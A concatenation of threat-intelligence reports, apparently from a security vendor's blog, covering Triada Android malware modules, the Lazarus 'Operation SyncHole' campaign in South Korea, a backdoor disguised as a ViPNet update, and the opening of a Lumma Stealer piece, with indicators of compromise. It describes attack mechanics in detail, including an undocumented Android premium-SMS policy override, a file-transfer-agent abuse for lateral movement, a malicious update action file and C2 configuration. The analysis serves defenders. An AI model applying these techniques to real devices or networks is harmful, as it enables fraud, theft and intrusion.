msToken in these cookies, as it is necessary for interacting with the TikTok API. The module also extracts other information from the TikTok client, such as the user ID (
secUID), the
User–Agent for API requests, and more. We believe that the attackers need this data to bypass TikTok API restrictions and simulate a real device when making API requests. Every five minutes, the malicious module attempts to send all data it collects to the attackers’ server.

Stealing TikTok account data

Facebook modules

One of such modules (b187551675a234c3584db4aab2cc83a9) runs a malicious task every minute that compares the parent app package name against the following list:

• com.facebook.lite
• com.facebook.mlite
• com.facebook.orca

If the name matches one of the above, the malware steals the Facebook authentication cookies.

Stealing Facebook credentials

Another module (554f0de0bddf30589482315fe336ea72) sends data about the infected device to the C2. The server responds with a link to be opened in WebView, as well as JavaScript code to execute on the page. The malware can upload certain elements from this page to the C2 server, which potentially could be used by attackers to steal the victim’s account data.

SMS modules

These malicious components are injected into SMS apps. One of them (195e0f334beb34c471352179d422c42f) starts by registering its own proxy receiver for incoming SMS and MMS messages, as well as its own message observer. Following this, the malware retrieves rules from the C2 server, storing these in a separate database. The content of each received message is filtered on the basis of these rules.

Checking message content

The flexibility of these rules enables the malware to respond to specific SMS messages by extracting codes using regular expressions. We believe the Trojan creators primarily use this capability to sign victims up for paid subscriptions. Additionally, the module can send arbitrary SMS messages when instructed by the C2 server.

Interestingly, the module contains unused code snippets that are valuable for analysis — they also function as message filtering rules. Each rule includes a string value that defines its type: an MD5 hash of certain data. The module code contains methods named
matchWhatsapp and
matchRegister that use the same rule type. Analysis of
matchWhatsapp revealed that this malicious component previously could cover other modules’ tracks and delete SMS messages containing verification codes for logging in to the victim’s WhatsApp account. The use of the same rule type suggests that
matchRegister is also employed by the malicious module to conceal its activity, possibly to secretly register accounts. This method is likely obsolete because the malware now supports receiving rules from the C2 server.

Rule for intercepting WhatsApp verification SMS messages

The second module (2ac5414f627f8df2e902fc34a73faf44) is likely an auxiliary component for the first one. The thing is, Android performs a check on the addressee when an SMS is being sent. If the message is being sent to a short code (premium SMS), the user will be prompted to confirm their intention to send. This measure aims to prevent financial losses for device owners encountering SMS Trojans. The SMSDispatcher class in the Android framework checks if the app has permission to send premium SMS messages. To do this, it calls the getPremiumSmsPermission method within the SmsUsageMonitor class, which stores premium SMS sending policies for each application using the SharedPreferences mechanism with the key
premium–sms–policy. The policies are integers that can take the following values:

• 1: User confirmation is required before sending a premium SMS.
• 2: The app is prohibited from sending premium SMS messages.
• 3: Sending premium SMS messages is allowed, and user confirmation is not required.

The malicious module sets the policy value for SMS messaging apps to
3, thereby clearing obstacles for the previous module. Notably, this is an undocumented Android feature, which further highlights the malware authors’ advanced skill level.

Method for overriding premium SMS sending policies

Reverse proxy

As far as we know, this module (3dc21967e6fab9518275960933c90d04), integrates into the Google Play Services app. Immediately upon starting, it transmits information about the infected device to the C2 server. The server responds with an IP address and port, which the malware uses to listen for commands via a modified version of the EasySocket library. The commands are integers that can take three values:

• 1: Establish a connection with an arbitrary TCP endpoint, assigning to it the ID transmitted in the command.
• 2: Terminate the TCP connection with the specified ID.
• 4: Send data over the TCP connection with the specified ID.

Processing received data

Thus, the main purpose of this module is to turn the infected device into a reverse proxy, essentially giving the attackers network access through the victim’s device.

Call interception

This module (a4f16015204db28f5654bb64775d75ad) is injected into the device’s phone app. It registers a malicious receiver that, upon receiving intents, can execute arbitrary JavaScript code using WebView.

Executing arbitrary code via the malicious receiver

The malware provides the JavaScript code with an interface to call certain Java functions. One of these functions takes the victim’s phone number and sends an intent that includes it.

An intent with a phone number

The command number is transmitted in the
type field of the intent. However, the module lacks a handler for this number. We assume that it is implemented in a different payload that we were unable to obtain during our investigation.

We also believe that this module is still under development. For example, similar to the browser module, it replaces the Instrumentation class to substitute the number opened using the android.intent.action.VIEW intent. However, the module lacks number substitution code.

Instrumentation proxy class

We strongly believe the number substitution functionality exists in another version of this module or will be added in the near future.

Clipper

Our data indicates that this module (04e485833e53aceb259198d1fcba7eaf) integrates into the Google Play app. Upon starting, it requests a comma-separated list of attackers’ cryptocurrency wallet addresses from the C2 server. If it cannot get the addresses, the Trojan uses hardcoded ones. After that, the module checks the clipboard every two seconds. If it finds a cryptocurrency wallet address, it replaces it with one controlled by the attackers. Additionally, the malware registers an event handler for clipboard changes, where it also checks and swaps the content.

Clipboard hijacking

Additional module

In our previous report, we described the malicious modules downloaded by the initial Triada backdoor. We decided to check if the list of payloads had changed. Unfortunately, at the time of our research, the backdoor C2 server was not sending links to download additional modules. However, we noticed that the module entry points used a consistent special naming format – we will discuss this in more detail later. This allowed us to find another Triada malware sample in our telemetry. The module is named BrsCookie_1004 (952cc6accc50b75a08bb429fb838bff7), and is designed for stealing Instagram cookies from web browsers.

Stealing cookies

Campaign features

Our analysis of this Trojan revealed several interesting details. For example, it shows similarities to earlier versions of Triada (308e35fb48d98d9e466e4dfd1ba6ee73): these implement the same logic for loading additional modules as the
mms–core.jar backdoor deployed by the infected framework.

Loading modules in older Triada versions

Loading modules in mms-core.jar

Furthermore, lines starting with
PPP appear regularly in the module code.

Creating log entries in an older Triada version

Loading a module in binder.so in a newer Triada version

Functions from the
binder.so malicious library set system properties similar to those in previous Triada versions. These and other similarities lead us to believe that the sample we analyzed is a new version of Triada.

While analyzing the modules, we encountered comments in Chinese, suggesting that the developers are Chinese native speakers. Additionally, one of the C2 servers used by the Triada modules,
g.sxim[.]me, caught our attention. This domain was also used as a C2 server for a module of the Vo1d backdoor, suggesting a potential link to Triada.

Distribution vector

In all known infection cases, the device firmware had a build fingerprint whose last letter differed from officially published firmware fingerprints. Searching for similar fingerprints led us to discussion boards where users complained about counterfeit devices purchased from online stores. It is likely that a stage in the supply chain was compromised, with the vendors in online stores possibly being unaware that they were distributing fake devices infected with Triada.

User complaining about a counterfeit device

Victims

According to KSN telemetry, our security solutions have detected over 4500 infected devices worldwide. The highest numbers of affected users were detected in Russia, the United Kingdom, the Netherlands, Germany, and Brazil. However, the actual number of infected devices could be much higher, given the unusual distribution method described in this article. The diagram below shows the TOP 10 countries with the highest numbers of users attacked between March 13 and April 15, 2025.

TOP 10 countries with the highest numbers of users attacked by Triada, March 13 – April 15, 2025 (download)

Separately, we decided to calculate the amount of cryptocurrency the Triada creators have stolen. To do this, we queried the Trojan’s C2 servers, receiving replacement wallet addresses in response. Findings from open-source research indicated that since June 13, 2024, the attackers had amassed more than $264,000 in various cryptocurrencies in wallets under their control. Below is a diagram showing the balance of several attacker-controlled wallets.

A profitability chart for the threat actor’s TRON wallets (download)

Conclusion

The new version of the Triada Trojan is a multi-stage backdoor giving attackers unlimited control over a victim’s device. The modular architecture provides its authors with a range of malicious capabilities, including targeted delivery of new modules and mass infection of specific applications. If your phone has been infected with Triada, we recommend following these rules to minimize the consequences of malicious activity:

• Install a clean firmware on your device.
• Avoid using messaging apps, crypto wallets, or social media clients currently on your device before installing new firmware.
• Use a reliable security solution to be promptly notified of similar threats on your device.

Indicators of compromise

Infected system frameworks

f468a29f836d2bba7a2b1a638c5bebf0
72cbbc58776ddc44abaa557325440bfb
fb937b1b15fd56c9d8e5bb6b90e0e24a
2ac4d8e1077dce6f4d2ba9875b987ca7
7b8905af721158731d24d0d06e6cb27e
9dd92503bd21d12ff0f2b9740fb6e529

Infected native libraries

89c3475be8dba92f4ee7de0d981603c1
01dff60fbf8cdf98980150eb15617e41
18fef4b6e229fc01c8b9921bb0353bb0
21be50a028a505b1d23955abfd2bdb3e
43adb868af3812b8f0c47e38fb93746a
511443977de2d07c3ee0cee3edae8dc8
716f0896b22c2fdcb0e3ee56b7c5212f
83dbc4b95f9ae8a83811163b301fe8c7
8892c6decebba3e26c57b20af7ad4cca
a7127978fac175c9a14cd8d894192f78
a9a106b9df360ec9d28f5dfaf4b1f0b5
c30c309e175905ffcbd17adb55009240
c4efe3733710d251cb041a916a46bc44
e9029811df1dd8acacfe69450b033804
e961cb0c7d317ace2ff6159efe30276a

Modules

Module C2 servers

lnwxfq[.]qz94[.]com
8.218.194[.]192
g.sxim[.]me
68u91[.]66foh90o[.]com
jmll4[.]66foh90o[.]com
w0g25[.]66foh90o[.]com
tqq6g[.]66foh90o[.]com
zqsvl[.]uhabq9[.]com
hm1es[.]uhabq9[.]com
0r23b[.]uhabq9[.]com
vg1ne[.]uhabq9[.]com
is5jg[.]3zweuj[.]com
qrchq[.]vrhoeas[.]com
xjl5a[.]unkdj[.]xyz
lvqtcqd[.]pngkcal[.]com
xc06a[.]0pk05[.]com
120.79.89[.]98
xcbm4[.]0pk05[.]com
lptkw[.]s4xx6[.]com
ad1x7[.]mea5ms[.]com
v58pq[.]mpvflv[.]com
bincdi[.]birxpk[.]com
773i8h[.]k6zix6[.]com
ya27fw[.]k6zix6[.]com

CDN servers for delivery of malicious modules

mp2y3[.]sm20j[.]xyz
ompe2[.]7u6h8[.]xyz
app-file.b-cdn[.]net

GitHub configurations

hxxps://raw.githubusercontent[.]com/adrdotocet/ott/main/api.json
hxxps://raw.githubusercontent[.]com/adrdotocet2/ott/main/api.json
hxxps://raw.githubusercontent[.]com/adrdotocet3/ott/main/api.json

Triada system properties

os.config.ppgl.ext.hws.cd
os.config.ppgl.btcore.devicekey
os.config.ppgl.version
os.config.opp.build.model
os.config.opp.build.status
os.config.ppgl.status
os.config.ppgl.status.rom
os.config.ppgl.build.vresion
os.config.hk.status
os.config.ppgl.cd
os.config.ppgl.dir
os.config.ppgl.dexok
os.config.ppgl.btcore.sericode
os.config.verify.status
os.config.alice.build.channel
os.config.alice.build.time
os.config.alice.service.status
os.android.version.alice.sure

Read More 

We have been tracking the latest attack campaign by the Lazarus group since last November, as it targeted organizations in South Korea with a sophisticated combination of a watering hole strategy and vulnerability exploitation within South Korean software. The campaign, dubbed “Operation SyncHole”, has impacted at least six organizations in South Korea’s software, IT, financial, semiconductor manufacturing, and telecommunications industries, and we are confident that many more companies have actually been compromised. We immediately took action by communicating meaningful information to the Korea Internet & Security Agency (KrCERT/CC) for rapid action upon detection, and we have now confirmed that the software exploited in this campaign has all been updated to patched versions.

Timeline of the operation

Our findings in a nutshell:

• At least six South Korean organizations were compromised by a watering hole attack combined with exploitation of vulnerabilities by the Lazarus group.
• A one-day vulnerability in Innorix Agent was also used for lateral movement.
• Variants of Lazarus’ malicious tools, such as ThreatNeedle, Agamemnon downloader, wAgent, SIGNBT, and COPPERHEDGE, were discovered with new features.

Background

The initial infection was discovered in November of last year when we detected a variant of the ThreatNeedle backdoor, one of the Lazarus group’s flagship malicious tools, used against a South Korean software company. We found that the malware was running in the memory of a legitimate
SyncHost.exe process, and was created as a subprocess of Cross EX, legitimate software developed in South Korea. This potentially was the starting point for the compromise of further five organizations in South Korea. Additionally, according to a recent security advisory posted on the KrCERT website, there appear to be recently patched vulnerabilities in Cross EX, which were addressed during the timeframe of our research.

In the South Korean internet environment, the online banking and government websites require the installation of particular security software to support functions such as anti-keylogging and certificate-based digital signatures. However, due to the nature of these software packages, they constantly run in the background to interact with the browser. The Lazarus group shows a strong grasp of these specifics and is using a South Korea-targeted strategy that combines vulnerabilities in such software with watering hole attacks. The South Korean National Cyber Security Center published its own security advisory in 2023 against such incidents, and also published additional joint security advisories in cooperation with the UK government.

Cross EX is designed to enable the use of such security software in various browser environments, and is executed with user-level privileges except immediately after installation. Although the exact method by which Cross EX was exploited to deliver malware remains unclear, we believe that the attackers escalated their privileges during the exploitation process as we confirmed the process was executed with high integrity level in most cases. The facts below led us to conclude that a vulnerability in the Cross EX software was most likely leveraged in this operation.

• The most recent version of Cross EX at the time of the incidents was installed on the infected PCs.
• Execution chains originating from the Cross EX process that we observed across the targeted organizations were all identical.
• The incidents that saw the
  Synchost process abused to inject malware were concentrated within a short period of time: between November 2024 and February 2025.

In the earliest attack of this operation, the Lazarus group also exploited another South Korean software product, Innorix Agent, leveraging a vulnerability to facilitate lateral movement, enabling the installation of additional malware on a targeted host of their choice. They even developed malware to exploit this, avoiding repetitive tasks and streamlining processes. The exploited software, Innorix Agent (version 9.2.18.450 and earlier), was previously abused by the Andariel group, while the malware we obtained targeted the more recent version 9.2.18.496.

While analyzing the malware’s behavior, we discovered an additional arbitrary file download zero-day vulnerability in Innorix Agent, which we managed to detect before any threat actors used it in their attacks. We reported the issues to the Korea Internet & Security Agency (KrCERT) and the vendor. The software has since been updated with patched versions.

Installing malware through vulnerabilities in software exclusively developed in South Korea is a key part of the Lazarus group’s strategy to target South Korean entities, and we previously disclosed a similar case in 2023, as did ESET and KrCERT.

Initial vector

The infection began when the user of a targeted system accessed several South Korean online media sites. Shortly after visiting one particular site, the machine was compromised by the ThreatNeedle malware, suggesting that the site played a key role in the initial delivery of the backdoor. During the analysis, it was discovered that the infected system was communicating with a suspicious IP address. Further examination revealed that this IP hosted two domains (T1583.001), both of which appeared to be hastily created car rental websites using publicly available HTML templates.

Appearance of www.smartmanagerex[.]com

The first domain,
www.smartmanagerex[.]com, seemed to be masquerading as software provided by the same vendor that distributes Cross EX. Based on these findings, we reconstructed the following attack scenario.

Attack flow during initial compromise

Given that online media sites are typically visited quite frequently by a wealth of users, the Lazarus group filters visitors with a server-side script and redirects desired targets to an attacker-controlled website (T1608.004). We assess with medium confidence that the redirected site may have executed a malicious script (T1189), targeting a potential flaw in Cross EX (T1190) installed on the target PC, and launching malware. The script then ultimately executed the legitimate
SyncHost.exe and injected a shellcode that loaded a variant of ThreatNeedle into that process. This chain, which ends with the malware being injected into
SyncHost.exe, was common to all of the affected organizations we identified, meaning that the Lazarus group has conducted extensive operations against South Korea over the past few months with the same vulnerability and the same exploit.

Execution flow

We have divided this operation into two phases based on the malware used. The first phase focused primarily on the execution chain involving ThreatNeedle and wAgent. It was then followed by the second phase which involved the use of SIGNBT and COPPERHEDGE.

We derived a total of four different malware execution chains based on these phases from at least six affected organizations. In the first infection case, we found a variant of the ThreatNeedle malware, but in subsequent attacks, the SIGNBT malware took its place, thus launching the second phase. We believe this is due to the quick and aggressive action we took with the first victim. In subsequent attacks, the Lazarus group introduced three updated infection chains including SIGNBT, and we observed a wider range of targets and more frequent attacks. This suggests that the group may have realized that their carefully prepared attacks had been exposed, and extensively leveraged the vulnerability from then on.

Chains of infection across the operation

First-phase malware

In the first infection chain, many updated versions of the malware previously used by the Lazarus group were used.

Variant of ThreatNeedle

The ThreatNeedle sample used in this campaign was also referred to as “ThreatNeedleTea” in a research paper published by ESET; we believe this is an updated version of the early ThreatNeedle. However, the ThreatNeedle seen in this attack had been modified with additional features.

This version of ThreatNeedle is divided into a Loader and Core samples. The Core version retrieves five configuration files from C_27098.NLS to C_27102.NLS, and contains a total of 37 commands. The Loader version, meanwhile, references only two configuration files and implements only four commands.

The Core component receives a specific command from the C2, resulting in an additional loader file being created for the purpose of persistence. This file can be disguised as the ServiceDLL value of a legitimate service in the netsvcs group (T1543.003), the IKEEXT service (T1574.001), or registered as a Security Service Provider (SSP) (T1547.005). It ultimately loads the ThreatNeedle Loader component.

Behavior flow to load ThreatNeedle Loader by target service

The updated ThreatNeedle generates a random key pair based on the Curve25519 algorithm (T1573.002), sends the public key to the C2 server, and then receives the attacker’s public key. Finally, the generated private key and the attacker’s public key are scalar-operated to create a shared key, which is then used as the key for the ChaCha20 algorithm to encrypt the data (T1573.001). The data is sent and received in JSON format.

LPEClient

LPEClient is a tool known for victim profiling and payload delivery (T1105) that has previously been observed in attacks on defense contractors and the cryptocurrency industry. We disclosed that this tool had been loaded by SIGNBT when we first documented SIGNBT malware. However, we did not observe LPEClient being loaded by SIGNBT in this campaign. It was only loaded by the variant of ThreatNeedle.

Variant of wAgent

In addition to the variant of ThreatNeedle, a variant of the wAgent malware was also discovered in the first affected organization. wAgent is a malicious tool that we documented in 2020, and a similar version was mentioned in Operation GoldGoblin by KrCERT. The origin of its creation is still shrouded in mystery, but we discovered that the wAgent loader was disguised as
liblzma.dll and executed via the command line
rundll32.exe c:Programdataintelutil.dat, afunix 1W2–UUE–ZNO–B99Z (T1218.011). The export function retrieves the given filename
1W2–UUE–ZNO–B99Z in C:ProgramData, which also serves as the decryption key. After converting this filename into wide bytes, it uses the highest 16 bytes of the resulting value as the key for the AES-128-CBC algorithm and decrypts (T1140) the contents of the file located in C:ProgramData (T1027.013). The upper four bytes of the decrypted data subsequently represent the size of the payload (T1027.009), which we identified as an updated version of the wAgent malware.

The variant of wAgent has the ability to receive data in both form-data and JSON formats, depending on the C2 server it succeeds in reaching. Notably, it includes the
__Host–next–auth–token key within the
Cookie field in the request header during the communication (T1071.001), carrying the sequence of communication appended by random digits. In this version, the new observed change is that an open-source GNU Multiple-Precision (GMP) library is employed to carry out RSA encryption computations, which is a previously unseen library in malware used by the Lazarus group. According to the wAgent configuration file, it is identified as the x64_2.1 version. This version manages payloads using a C++ STL map, with emphasis on receiving additional payloads from the C2 and loading them directly into memory, along with creating a shared object. With this object, the main module is able to exchange command parameters and execution results with the delivered plugins.

Operational structure of the wAgent variant

Variant of the Agamemnon downloader

The Agamemnon downloader is also responsible for downloading and executing additional payloads received from the C2 server. Although we did not obtain the configuration file of Agamemnon, it receives commands from the C2 and executes the payload by parsing the commands and parameters based on
;; characters, which serve as command and parameter delimiters. The value of the mode in response passed with a
2 command determines how to execute the additional payload, which is delivered along with a
3 command. There are two methods of execution: the first one is to load the payload reflectively (T1620), which is commonly used in malware, whereas the second one is to utilize the open-source Tartarus-TpAllocInject technique, which we have not previously seen in malware from the Lazarus group.

Structure of the commands where additional data is passed

The open-source loader is built on top of another open-source loader named Tartarus’ Gate. Tartarus’ Gate is based on Halo’s Gate, which is in turn based on Hell’s Gate. All of these techniques are designed to bypass security products such as antivirus and EDR solutions, but they load the payload in different ways.

Innorix Agent exploit for lateral movement

Unlike the previously mentioned tools, the Innorix abuser is used for lateral movement. It is downloaded by the Agamemnon downloader (T1105) and exploits a specific version of a file transfer software tool developed in South Korea, Innorix Agent, to fetch additional malware on internal hosts (T1570). Innorix Agent is another software product that is mandatory for some financial and administrative tasks in the South Korean internet environment, meaning that it is likely to be installed on many PCs of both corporations and individuals in South Korea, and any user with a vulnerable version is potentially a target. The malware embeds a license key allegedly bound to version 9.2.18.496, which allows it to perform lateral movement by generating malicious traffic disguised as legitimate traffic against targeted network PCs.

The Innorix abuser is given parameters from the Agamemnon downloader: the target IP, URL to download a file, and file size. It then delivers a request to that target IP to check if Innorix Agent is installed and running. If a successful response is returned, the malware assumes that the software is running properly on the targeted host and transmits traffic that allows the target to download the additional files from the given URL due to a lack of traffic validation.

Steps to deploy additional malware via the Innorix abuser

The actor created a legitimate
AppVShNotify.exe and a malicious
USERENV.dll file in the same path via the Innorix abuser, and then executed the former using a legitimate feature of the software. The
USERENV.dll was sideloaded (T1574.002) as a result, which ultimately led to the execution of ThreatNeedle and LPEClient on the targeted hosts, thus launching the infection chain on previously unaffected machines.

We reported this vulnerability to KrCERT due to the potentially dangerous impact of the Innorix abuser, but were informed that the vulnerability has been exploited and reported in the past. We have confirmed that this malware does not work effectively in environments with Innorix Agent versions other than 9.2.18.496.

In addition, while digging into the malware’s behavior, we identified another additional arbitrary file download vulnerability that applies to versions up to 9.2.18.538. It is tracked as KVE-2025-0014 and we have not yet found any evidence of its use in the wild. KVE is a vulnerability identification number issued exclusively by KrCERT. We successfully contacted Innorix to share our findings containing the vulnerabilities via KrCERT, and they managed to release a patched version in March with both vulnerabilities fixed.

Second phase malware

The second phase of the operation also introduces newer versions of malicious tools previously seen in Lazarus attacks.

SIGNBT

The SIGNBT we documented in 2023 was version 1.0, but in this attack, version 0.0.1 was used at the forefront. In addition, we identified a more recent version, SIGNBT 1.2. Unlike versions 1.0 and 0.0.1, the 1.2 version had minimal remote control capabilities and was focused on executing additional payloads. The malware developers named this version “Hijacking”.

In the second phase of this operation, SIGNBT 0.0.1 was the initial implant executed in memory in SyncHost.exe to fetch additional malware. In this version, the C2 server was hardcoded without reference to any configuration files. During this investigation, we found a credential dumping tool that was fetched by SIGNBT 0.0.1, identical to what we have seen in previous attacks.

As for version 1.2, it fetches the path to the configuration file from its resources and retrieves the file to obtain C2 server addresses. We were able to extract two configuration file paths from each identified SIGNBT 1.2 sample, which are shown below. Another change in SIGNBT 1.2 is that the number of prefixes starting with
SIGN are reduced to only three:
SIGNBTLG,
SIGNBTRC, and
SIGNBTSR. The malware receives an RSA public key from the C2 and encrypts a randomly generated AES key using the public key. All traffic is encrypted with the generated AES key.

• Configuration file path 1: C:ProgramDataSamsungSamsungSettingssettings.dat
• Configuration file path 2: C:ProgramDataMicrosoftDRMServerdrm.ver

{
	proxylist: [{ // C2 server list
        	    	proxy: "https%0x3A//builsf[.]com/inc/left.php"
    	},
    	{
        	    	proxy: "https%0x3A//www.rsdf[.]kr/wp-content/uploads/2024/01/index.php"
    	},
    	{
        	    	proxy: "http%0x3A//www.shcpump[.]com/admin/form/skin/formBasic/style.php"
    	},
    	{
        	    	proxy: "https%0x3A//htns[.]com/eng/skin/member/basic/skin.php"
    	},
    	{
        	    	proxy: "https%0x3A//kadsm[.]org/skin/board/basic/write_comment_skin.php"
    	},
    	{
        	    	proxy: "http%0x3A//bluekostec[.]com/eng/community/write.asp"
    	},
    	{
        	    	proxy: "http%0x3A//dream.bluit.gethompy[.]com/mobile/skin/board/gallery/index.skin.php"
    	}],
	wake: 1739839071, // Timestamp of Tuesday, February 18, 2025 12:37:51 AM
	status: 1 // It means the scheduled execution time is set.
}

COPPERHEDGE

COPPERHEDGE is a malicious tool that was named by US-CERT in 2020. It is a Manuscrypt variant and was primarily used in the DeathNote cluster attacks. Unlike the other malware used in this operation, COPPERHEDGE has not changed dramatically, with only several commands being slightly changed compared to the older versions. This version, however, retrieves configuration information such as the C2 server address from the ADS
%appdata%MicrosoftInternet Explorerbrndlog.txt:loginfo (T1564.004). The malware then sends HTTP traffic to C2 with three or four parameters for each request, where the parameter name is chosen randomly out of three names in any order.

• First HTTP parameter name: bih, aqs, org
• Second HTTP parameter name: wib, rlz, uid
• Third HTTP parameter name: tib, hash, lang
• Fourth HTTP parameter name: ei, ie, oq

The actor primarily used the COPPERHEDGE malware to conduct internal reconnaissance in this operation. There are a total of 30 commands from 0x2003 to 0x2032, and 11 response codes from 0x2040 to 0x2050 inside the COPPERHEDGE backdoor.

The evolution of Lazarus malware

In recent years, the malware used by the Lazarus group has been rapidly evolving to include lightweighting and modularization. This applies not only to newly added tools, but also to malware that has been used in the past. We have observed such changes for a few years, and we believe there are more on the way.

Discoveries

During our investigation into this campaign, we gained extensive insight into the Lazarus group’s post-exploitation strategy. After installing the COPPERHEDGE malware, the actor executed numerous Windows commands to gather basic system information (T1082, T1083, T1057, T1049, T1016, T1087.001), create a malicious service (T1569.002, T1007) and attempt to find valuable hosts to perform lateral movement (T1087.002, T1135).

While analyzing the commands executed by the actor, we were able to identify the actor’s mistake when using the
taskkill command: the
/im parameter when using
taskkill means
imagename, which should specify the image name of the process, not the process id. This shows that the actor is still performing internal reconnaissance by manually entering commands.

Infrastructure

Throughout this operation, most of the C2 servers were legitimate but compromised websites in South Korea (T1584.001), further indicating that this operation was highly focused on South Korea. In the first phase, other media sites were utilized as C2 servers to avoid detection of media-initiated watering hole attacks. However, as the infection chain turned to the second phase, legitimate sites in various other industries were additionally exploited.

Unlike other cases, LPEClient’s C2 server was hosted by the same hosting company as
www.smartmanagerex[.]com, which was deliberately created for initial compromise. Given that LPEClient is heavily relied upon by the Lazarus group for delivering additional payloads, it is likely that the attackers deliberately rented and configured the server (T1583.003), assigning a domain under their control to maintain full operational flexibility. In addition to this, we also found that two domains that were exploited as C2 servers for SIGNBT 0.0.1 resolved to the same hosting company’s IP range.

We confirmed that the domain
thek–portal[.]com belonged to a South Korean ISP until 2020 and was the legitimate domain of an insurance company that was acquired by another company. Since then, the domain had been parked and its status was changed in February 2025, indicating that the Lazarus group re-registered the domain to leverage it in this operation.

Attribution

Throughout this campaign, several malware samples were used that we managed to attribute to the Lazarus group through our ongoing and dedicated research conducted for a long time. Our attribution is supported by the historical use of the malware strains, as well as their TTPs, all of which have been well documented by numerous security solutions vendors and governments. Furthermore, we have analyzed the execution time of the Windows commands delivered by the COPPERHEDGE malware, the build timestamps of all malicious samples we described above, and the time of initial compromise per host, demonstrating that the timeframes were mostly concentrated between GMT 00:00 and 09:00. Based on our knowledge of normal working hours in various time zones, we can infer that the actor is located in the GMT+09 time zone.

Timeline of malicious activity

Victims

We identified at least six software, IT, financial, semiconductor manufacturing and telecommunication organizations in South Korea that fell victim to “Operation SyncHole”. However, we are confident that there are many more affected organizations across a broader range of industries, given the popularity of the software exploited by Lazarus in this campaign.

Conclusion

This is not the first time that the Lazarus group exploited supply chains with a full understanding of the software ecosystem in South Korea. We have already described similar attacks in our analysis reports on the Bookcode cluster in 2020, the DeathNote cluster in 2022, and the SIGNBT malware in 2023. All of these cases targeted software developed by South Korean vendors that required installation for online banking and government services. Both of the software products exploited in this case are in line with past cases, meaning that the Lazarus group is endlessly adopting an effective strategy based on cascading supply chain attacks.

The Lazarus group’s specialized attacks targeting supply chains in South Korea are expected to continue in the future. Our research over the past few years provided evidence that many software development vendors in Korea have already been attacked, and if the source code of a product has been compromised, other zero-day vulnerabilities may continue to be discovered. The attackers are also making efforts to minimize detection by developing new malware or enhancing existing malware. In particular, they introduce enhancements to the communication with the C2, command structure, and the way they send and receive data.

We have proven that accurate detection and quick response can effectively deter their tactics, and in the meantime, we were able to remediate vulnerabilities and mitigate attacks to minimize damage. We will continue to monitor the activity of this group and remain agile in responding to their changes. We also recommend using reliable security solutions to stay alert and mitigate potential risks. Our product line for businesses helps identify and prevent attacks of any complexity at an early stage.

Kaspersky products detect the exploits and malware used in this attack with the following verdicts:
Trojan.Win64.Lazarus.*,
Trojan.Win32.Lazarus.*,
MEM:Trojan.Win32.Cometer.gen,
MEM:Trojan.Win32.SEPEH.gen,
Trojan.Win32.Manuscrypt.*,
Trojan.Win64.Manuscrypt.*,
Trojan.Win32.Zenpak.*.

Indicators of Compromise

More IoCs are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Variant of the ThreatNeedle loader
f1bcb4c5aa35220757d09fc5feea193b C:System32PCAuditex.dll

Variant of the wAgent loader
dc0e17879d66ea9409cdf679bfea388c C:ProgramDataintelutil.dat

COPPERHEDGE dropper
2d47ef0089010d9b699cd1bbbc66f10a %AppData%hnc_net.tmp

C2 servers
www[.]smartmanagerex[.]com
hxxps://thek-portal[.]com/eng/career/index.asp
hxxps://builsf[.]com/inc/left.php
hxxps://www[.]rsdf[.]kr/wp-content/uploads/2024/01/index.php
hxxp://www[.]shcpump[.]com/admin/form/skin/formBasic/style.php
hxxps://htns[.]com/eng/skin/member/basic/skin.php
hxxps://kadsm[.]org/skin/board/basic/write_comment_skin.php
hxxp://bluekostec[.]com/eng/community/write.asp
hxxp://dream.bluit.gethompy[.]com/mobile/skin/board/gallery/index.skin.php

Read More 

As we were looking into a cyberincident in April 2025, we uncovered a rather sophisticated backdoor. It targeted various large organizations in Russia, spanning the government, finance, and industrial sectors. While our investigation into the attack associated with the backdoor is still ongoing, we believe it is crucial to share our preliminary findings with the community. This will enable organizations that may be at risk of infection from the backdoor to take swift action to protect themselves from this threat.

Impersonating a ViPNet update

Our investigation revealed that the backdoor targets computers connected to ViPNet networks. ViPNet is a software suite for creating secure networks. We determined that the backdoor was distributed inside LZH archives with a structure typical of updates for the software product in question. These archives contained the following files:

• action.inf: a text file
• lumpdiag.exe: a legitimate executable
• msinfo32.exe: a small malicious executable
• an encrypted file containing the payload (the name varies between archives)

The ViPNet developer confirmed targeted attacks against some of their users and issued security updates and recommendations for customers (page in Russian).

Malware execution

After analyzing the contents of the archive, we found that the action.inf text file contained an action to be executed by the ViPNet update service component (itcsrvup64.exe) when processing the archive:

[ACTION]
action=extra_command
extra_command=lumpdiag.exe --msconfig

As evident from the file content above, when processing extra_command, the update service launches lumpdiag.exe with an
–msconfig argument. We mentioned earlier that this is a legitimate file. However, it is susceptible to the path substitution technique. This allows attackers to execute the malicious file msinfo32.exe while lumpdiag.exe is running.

Downloadable payload

The msinfo32.exe file is a loader that reads the encrypted payload file. The loader processes the contents of the file to load the backdoor into memory. This backdoor is versatile: it can connect to a C2 server via TCP, allowing the attacker to steal files from infected computers and launch additional malicious components, among other things. Kaspersky solutions detect this threat as HEUR:Trojan.Win32.Loader.gen.

Multi-layered security is key to preventing sophisticated cyberattacks

The complexity of cyberattacks carried out by APT groups has significantly increased over the years. Attackers can target organizations in highly unusual and unexpected ways. To prevent sophisticated targeted attacks, it is essential to employ multi-layered, defense-in-depth security against cyberthreats. This is the type of security architecture implemented in our Kaspersky NEXT product line, capable of protecting businesses from attacks similar to the one described in this article.

Indicators of compromise

The full list of indicators of compromise is available to subscribers of our Kaspersky Threat Intelligence service.

Hashes of msinfo32.exe

018AD336474B9E54E1BD0E9528CA4DB5
28AC759E6662A4B4BE3E5BA7CFB62204
77DA0829858178CCFC2C0A5313E327C1
A5B31B22E41100EB9D0B9A27B9B2D8EF
E6DB606FA2B7E9D58340DF14F65664B8

Paths to malicious files

%TEMP%update_tmp*updatemsinfo32.exe
%PROGRAMFILES%common filesinfotecsupdate_tmpdriv_**msinfo32.exe
%PROGRAMFILESx86%InfoTeCSViPNet Coordinatorcccupdate_tmpDRIV_FSA*msinfo32.exe

Read More 

Introduction

The evolution of Malware-as-a-Service (MaaS) has significantly lowered the barriers to entry for cybercriminals, with information stealers becoming one of the most commercially successful categories in this underground economy. Among these threats, Lumma Stealer has emerged as a particularly sophisticated player since its introduction in 2022 by the threat actor known as Lumma. Initially marketed as LummaC2, this information stealer quickly gained traction in underground forums, with prices starting at $250. As of March 2025, its presence on dark web marketplaces and Telegram channels continues to grow, with over a thousand active subscribers.

LummaC2 seller’s official website

